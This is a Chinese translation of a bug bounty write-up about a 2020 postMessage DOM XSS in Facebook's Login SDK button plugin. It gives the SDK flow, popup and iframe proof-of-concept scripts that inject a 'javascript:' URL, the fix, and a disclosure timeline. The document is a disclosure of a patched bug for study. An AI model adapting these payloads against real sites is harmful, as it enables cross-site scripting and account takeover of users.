window.postMessage()方法保证窗口对象之间的安全跨域通信;例如,在页面和它产生的弹出窗口之间,或者在页面和嵌入其中的iFrame之间。

更多关于window.postMessage()方法的知识可以查阅Mozilla PostMessage文档

如果想了解更多关于postMessage和跨域通信的知识,可以动一动小手戳以下链接
How cross window/frame communication happens in Javascript
https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/
https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/

背景

postMessage触发的DOM XSS可能被多数的赏金猎人忽略了,他们大都以为这是一个很低级的漏洞。

最近,我的研究重点从管理员面板转向了客户端漏洞(如果查看我的HackerOne报告,我的大多数漏洞报告都是打开后台管理员面板或Github凭据泄漏).
一开始,我研究了XSSI、JSONP和postMessage的漏洞。但是XSSI和JSONP漏洞非常少见,自从引入了SameSite cookie 之后,这些漏洞就不存在了。因此,知难而退,我开始研究postMessage漏洞,但大多数安全防护人员都忽略了这种漏洞,且它非常易于调试且无需绕过防火墙。
另外,为了方便起见,我创建了一个Chrome扩展程序来查看/记录发生在网页上的跨窗口通信。
通常,网站在小部件、插件或WebSDK上使用IFRAME通信。因此我开始研究facebook的第三方插件原理。
我发现Facebook Login SDK for JavaScript创建了一个用于跨域通信的代理iframeV6.0/plugins/login_button.php。代理框架渲染“Continue with Facebook”按钮。但有趣的是,javascript SDK向代理框架发送了一个初始化有效负载,其中包含按钮的单击URL。登录SDK流程如下
1

<iframe src='https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&button_type=continue_with&channel=REDIRECT_URL&sdk=joey'>
</iframe>

2

Facebook Javascript SDK将初始有效负载发送到iFrame代理。
iframe.contentWindow.postMessage({"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'INT_ID',
'url':'https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID&SOME_OTHER_PARAMS',
'size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971'screenWidth':1680}}})},"origin":"APP_DOMAIN"}, '*')

3

When an user clicks Login with Facebook button,
window.open('https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID')
happens on the proxy iframe. 
Which is the url from postMessage payload

4

弹出窗口通过以下方式将访问令牌和签名请求发送到第三方网站。
window.opener.parent.postMessage(result,Origin)

如果我们仔细查看有效负载,SDK会将url参数发送到facebook插件iframe,并将其转换为i变量,当按钮单击事件触发时,将执行下面的函数。

i.url = i.url.replace(/cbt=\d+/, "cbt=" + a);
a = window.open(i.url, i.id, b("buildPopupFeatureString")(i));

可以通过window.open('javascript:alert(document.domain)')触发DOMXSS,而且JavaScript中没有url/schema验证。
因此,如果我们将带有url:'javascript:alert(document.domain)'的有效负载发送到https://www.facebook.com/v6.0/plugins/login_button.php iframe,当用户单击Continue With Facebook按钮时,javascript:alert(document.domain)会在facebook.com域上执行。

exploit the iframe

有两种方法可以利用这个bug。

通过打开弹出窗口并与其通信。
打开iFrame并与其通信

Pop-up method

<script>   
   var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");

   setTimeout(function(){
        var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
        opener.postMessage(message, '*');
    },'4000');
</script>

Iframe method

由于此端点缺少“X-Frame-Options”或CSP“Frame-Anchors”标头,因此很容易将此页面嵌入到攻击者的页面中。

<script>
function fbFrameLoaded() {
  var iframeEl = document.getElementById('fbframe');
  var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
  iframeEl.contentWindow.postMessage(message, '*');
};
</script>
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>

修复

d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),
j = c.call;
d || (j.url = b("XOAuthErrorController").getURIBuilder().setEnum("error_code", "PLATFORM__INVALID_URL").getURI().toString())

Facebook通过在有效负载url参数中添加facebook.com regex域和模式检查修复了此问题。

影响

由于post message配置不正确,当用户访问被攻击者控制的网站时,如果用户单击了Facebook按钮,就会触发fackbook.com域上的XSS。一键式账户接管就完成了。

时间线

2020年4月17日-发送初次漏洞报告。
2020年4月17日-报告确认。
2020年4月29日– Facebook确认修复bug。
2020年5月1日– 奖励2w美元赏金。

https://vinothkumar.me/20000-facebook-dom-xss/

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖